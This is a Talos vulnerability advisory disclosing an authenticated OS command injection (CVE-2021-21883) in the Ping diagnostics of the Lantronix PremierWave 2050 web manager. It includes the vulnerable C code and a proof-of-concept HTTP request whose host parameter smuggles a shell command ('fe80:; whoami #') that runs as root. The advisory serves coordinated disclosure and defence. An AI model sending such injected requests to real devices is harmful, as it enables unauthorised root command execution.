Talos Vulnerability Report

TALOS-2021-1327

# Lantronix PremierWave 2050 Web Manager Diagnostics: Ping OS command injection vulnerability

NOVEMBER 15, 2021

CVE NUMBER

CVE-2021-21883

## Summary

An OS command injection vulnerability exists in the Web Manager Diagnostics: Ping functionality of Lantronix PremierWave 2050 8.9.0.0R4. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

## Tested Versions

Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU)

## Product URLs

https://www.lantronix.com/products/premierwave2050/

## CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

## CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

## Details

PremierWave 2050 is an embedded Wi-Fi Module manufactured by Lantronix.

The PremierWave 2050 Web Manager provides a network diagnostics interface that allows an unprivileged, authenticated user to verify network connectivity between the PremierWave 2050 and an arbitrary host. The implementation of this feature contains a `system` call to the `ndisc6` application. The underlying command is built using an unsanitized attacker-controlled HTTP parameter, `host`. The command is executed with root privileges.

If the attacker-supplied `host` parameter appears to be an IPv6 link-local address (that is, the first five bytes are “fe80:”), and the `host` does not contain a zone ID (that is, it does not contain a `%` symbol), then it will be injected directly into the format string used to compose the `ndisc6` command.

The relevant portion of the exploitable function is included below.

```
char* host = get_param_by_name("host");
...
if ( NetLooksLikeAnIPv6Address(host) ) {
    if ( !strncmp(host, "fe80:", 5) ) {
        if ( !strchr(host, '%') ) {
            sprintf((char *)cmd, "ndisc6 -r 1 %s %s | grep Target | awk '{print $1}'", host, InterfaceName);
            exec_system_cmd_print((const char *)cmd, (char *)result, 64);
        }
    }
}
...
```

An attacker who submits a properly-formed HTTP `host` parameter can escape the shell command and execute arbitrary OS commands with root privileges.

```
POST / HTTP/1.1
Host: [IP]:[PORT]
Content-Length: 71
Authorization: Basic YnJvd25pZTpwb2ludHM=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

ajax=Ping&count=3&timeout=5&submit=Ping&host=fe80:; whoami #
```

The above HTTP request will result in the execution of the following command with root privileges:

```
ndisc6 -r 1 fe80:; whoami # eth0 | grep Target | awk '{print $1}'
```

## Timeline

2021-06-14 - Vendor Disclosure
2021-06-15 - Vendor acknowledged
2021-09-01 - Talos granted disclosure extension to 2021-10-15
2021-10-18 - Vendor requested release push to 2nd week of November. Talos confirmed final extension and disclosure date
2021-11-15 - Public Release

## CREDIT

Discovered by Matt Wiseman of Cisco Talos.

---

VULNERABILITY REPORTS

PREVIOUS REPORT TALOS-2021-1326

NEXT REPORT TALOS-2021-1328

---